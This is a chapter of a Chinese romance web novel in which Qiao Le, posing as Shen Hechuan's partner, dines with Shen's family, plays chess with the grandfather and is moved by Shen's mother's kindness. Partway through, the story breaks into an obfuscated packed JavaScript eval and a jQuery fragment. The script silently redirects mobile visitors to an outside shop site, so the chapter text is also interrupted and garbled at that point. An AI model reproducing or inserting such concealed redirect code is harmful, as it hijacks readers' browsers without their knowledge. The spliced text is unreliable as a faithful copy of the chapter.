第20章
大家落座后,吴慧岚担心乔乐拘谨,温声地说:“乐乐,我们家没有那么多规矩,你就当在自己家就好,放开了吃啊。”
“好,谢谢阿姨。”乔乐端起汤喝了一口。
听说乔乐喜欢粤菜,厨房今天准备的是传统的粤式老火汤。
上等的红菌浓郁芬芳,搭配肉质紧实的老鸡,经过长时间的文火淬炼,汤汁鲜美又不厚重。
太好喝了!
乔乐忍不住又喝了一口。
这汤比他喝过的汤都要好喝,比他们小区路口那家“粤式靓汤”小店好喝不知道多少倍。
“别光喝汤。”老爷子笑着说,“吃点菜,瞧你瘦的,年轻人要多长点肉。”
来自长辈的关心让乔乐有些羞赧,放下汤碗:“不是很瘦,我有锻炼的。”
沈鹤川听到这话,目光往他腰间一扫而过。
他可以做证,乔乐确实太瘦了。
是该多吃点。
沈鹤川用公筷给乔乐夹了块清蒸东星斑:“试试。”
吴慧岚见状,也出言劝道:“对对对,多吃点,这鱼做得不错。”
乔乐乖乖把鱼吃了,鱼肉鲜美,没有一点腥味,不由眼睛一亮:“好吃!”
见他喜欢,吴慧岚也高兴,闲聊一般地问:“乐乐今年多大了?”
乔乐回答:“十九了。”
十九?
这比程嘉嵘还小了三岁啊!
吴慧岚看了沈鹤川一眼,只见他面不改色地剥着螃蟹,仿佛当初说程嘉嵘年龄小的人不是他。
不过十九岁虽然小,但按照新的婚姻法,也可以打结婚证了。
吴慧岚放下心来,倒是老爷子多说了一句:“那比鹤川小了不少呢,没有代沟吧?”
“……”沈鹤川剥蟹的动作一顿。
“不会啊。”乔乐说,“我们很聊得来。”
沈鹤川剥蟹的动作流畅了。
听乔乐说没有代沟,长辈们都满意了,情侣之间最担心没有话题,尤其是沈鹤川和乔乐这种差了十三岁的情侣。
沈鹤川把剥好的蟹肉放到乔乐面前:“尝尝。”
平日里都是乔乐帮弟弟剥各种壳,第一次有人帮他剥蟹,而且还有很完整的蟹腿。
他先是诧异,随后又感到不好意思。
毕竟是在沈鹤川的父母面前,即使是做戏,他这样伺候自己也不太合适。
“我自己来就行了。”他在桌子底下用膝盖碰了碰沈鹤川的腿。
沈鹤川还未说话,吴慧岚便说:“不要紧,你就让他剥,这个蟹不好剥,别扎到你的手,我就从来不剥。”
坐她旁边的沈正禾点头,把剥好的蟹肉放到她的面前。
哦,原来是家庭传统。
乔乐懂了,礼尚往来地给沈鹤川夹了块白切猪手。
沈鹤川夹起来吃了。
长辈们将他们的互动看在眼里,互相对视了一眼,都看到了对方眼底的笑意。
这一顿饭吃得十分融洽,乔乐年纪虽然小,但是非常会聊天,偶尔还会说一两个笑话逗得大家哈哈笑,情绪价值给得非常足。
期间如他们所料,长辈问起了两人是怎么认识的。
乔乐按照他和沈鹤川对好的说辞,说自己暑假的时候在咖啡厅打工,偶然遇到沈鹤川,两人一来二去就熟悉了起来。
他所说的咖啡厅就是西尔,恰好就在沈鹤川公司附近,大家也没有怀疑。
吴慧岚听他说暑假还去打工,心疼地说:“下次想勤工俭学就去家里的公司,咖啡厅整日要站着太累了。”
“对,让鹤川安排就好了。”
乔乐不知道沈鹤川在哪个公司,也不知道他是做什么的,但做戏要做足,他一一应下,谢过长辈的好意。
聊到工作,就免不了聊到学业,吴慧岚问起乔乐是在哪里读书,读的什么专业。
乔乐有问必答:“云京大学,航空航天工程。”
他没有说谎,休学前他确实是云京大学航空航天工程专业的学生。
可惜只上了不到一个月的课。
“云京大学好啊!”老爷子对乔乐更满意了,云京大学可是全国一流学府,多少人挤破头都想要踏进去。
长得好看的小孩讨人喜欢,长得好看学习又好的小孩更讨人喜欢。
“说起来鹤川也是云京大学的。”沈正禾笑道,“你们还是校友,这也算是缘分。”
沈鹤川也是云京大学的?
这个乔乐并不知道,但他反应很快,顺着往下说:“是的,我和他也是因为这个缘分才慢慢熟悉的。”
说完转头看向沈鹤川:“是吧,师兄。”
这一句“师兄”,比沈鹤川或者沈先生都来得亲密。
轻而易举就拉近了两人的关系。
还挺会随机应变。
沈鹤川压了压唇:“嗯。”
得知乔乐的专业后,长辈们又开始讨论他的就业方向,最后老爷子发话说他毕业后想工作就工作,不想工作也没事,家里不缺他那点工资。
有长辈疼真好啊。乔乐再一次感叹。
差点他就点头答应了,还是吃点辣椒醒醒脑子吧。
餐桌的转盘是电动的,乔乐伸筷子想夹正好转到面前的双色剁椒鱼头,不料筷子还没有碰到鱼头,转盘突然加快了速度,把鱼头从他面前转了过去。
“?”乔乐扭头看向手动转转盘的沈鹤川。
始作俑者伸手按住转盘,将其压停,将一盘白切留在乔乐的面前,说:“少吃点辣椒,你刚才已经吃了不少了。”
乔乐:“我能吃辣——”
“你现在不能吃太多。”沈鹤川加重了点语气,“听话。”
乔乐读懂他的暗示后,沉默了:“……”
沈正禾不明内情:“怎么了?是太辣了吗?”
“他这天嗓子不太好。”沈鹤川编了个理由应对,“医生说忌酸辣。”
乔乐:“……”
忌酸辣,沈鹤川买的药膏上面就有这个注意事项,虽然不是医生说的,但也差不多吧。
只是沈家的厨师做菜太好吃了,他一下子没忍住。
“你还别说,乐乐这嗓子听着确实是有点哑。”吴慧岚说,“是感冒了吗?”
乔乐:“……是有一点。”
不是感冒,按方嘉绪的说法,应该是那天晚上和沈鹤川上床叫的。
说起来真是丢人。
乔乐老老实实地吃起了白切。
饭后,沈老爷子的朋友打电话来问他要不要过去下棋,说是棋室新来了两位棋友,棋艺高超。
老爷子的日常爱好就是找朋友一起下下棋打发时间,平常要是有新的棋友,他二话不说就过去切磋两局了。
但今天是乔乐第一次上门,是比下棋更重要的事情,于是乐呵呵地拒绝:“不了不了,家里有事儿……啥事儿?好事儿!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020350|147752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
等沈老爷子挂了电话,乔乐斟酌了一下,问他喜欢下什么棋。
“象棋。”沈老爷子问,“怎么,乐乐也会吗?”
乔乐腼腆地说:“会一点,您要是不嫌弃,我陪您下两盘?”
沈老爷子没想到他还会这个,顿时来了兴趣:“行啊。”
乔乐陪沈老爷子下棋的功夫,沈鹤川就在一旁陪着。
沈老爷子的棋艺在众多棋友中是数一数二的,但他没想到,乔乐的棋艺居然也很不错,和他下得有来有往的。
说什么会一点,真是太谦虚了。
他越看乔乐越是喜欢,还说下次带乔乐一起去找朋友下棋。
乔乐的棋艺是从小和左邻右舍的老大爷们练出来的,高中还拿过全市青少年象棋大赛第二名。
沈老爷子说要带他去下棋,这话就跟预约了下次见面似的,他把手绕到后面,挠了挠沈鹤川的背。
夏天的衣服单薄,沈鹤川被他的指尖挠得酥酥麻麻的。
老爷子的话沈鹤川也听到了,乔乐的意思他也懂。
他背过手去抓住乔乐的手,将其握在背后,没有出声岔开话题。
“??”乔乐看他。
沈鹤川的掌心干燥温热,乔乐试着抽了抽自己的手,没抽出来。
乔乐继续看他:“??”
沈鹤川不为所动。
对面的沈老爷子注意力全放在棋局上,没有注意到他们的举动,不过后面的吴慧岚和沈正禾倒是看得一清二楚。
夫妻俩对视了一眼:稳了!
来前乔乐和沈鹤川说过自己不能待太久,沈鹤川也知道他家里还有个弟弟要照顾,到了九点钟便以乔乐明天还要上课为理由送乔乐回去。
临走前,吴慧岚把准备好的见面礼递给乔乐。
乔乐哪里肯收,反射性后退了一步:“阿姨我不能收。”
“要收的。”吴慧岚上前把袋子塞到乔乐的手中,拍了拍他的手,“本来应该我们一人给你准备一份的,但是又怕你有心理负担,这算是我们做长辈一点心意。”
她的眼神是柔软的,语气是温柔的,轻易就能让人卸下心防。
乔乐已经好几年没有见过自己的母亲了,在乔满不到两岁的时候,她说要和朋友去深市打工,一直到父亲出事她都没有再回来过。
他的手机里还存着一个名为“妈妈”的号码,但早就是空号了。
面对吴慧岚的温柔,乔乐心底最脆弱的地方毫无防备被击中,心里有感动也有酸涩,眼眶不免一热。
“可是——”
“听话。”吴慧岚板着脸打断他的话,随后又放柔了声音说,“你是个好孩子,不要白费阿姨的一番心意,收下吧,乖啊。”
这一句“听话”,太像乔乐记忆里母亲教训他的样子了。
就连后面那个哄小孩子似的“乖”都相差无几,让他差点忍不下汹涌而来的泪。
他拿着那个仿佛有千斤重的袋子,无措地看向沈鹤川:“我——”
沈鹤川不懂他为什么会露出这种受伤的眼神,也来不及去分辨是什么伤害了他,只觉得那双原本一直盛满笑意和活力的眼神不应该这样。
他应该是快乐的,向上的,一直都是明媚的。
和乔乐四目相对的瞬间,沈鹤川的心脏剧烈跳动了一下,有种想要拥他入怀的冲动。
他突然意识到一个问题——
沈鹤川,你完了。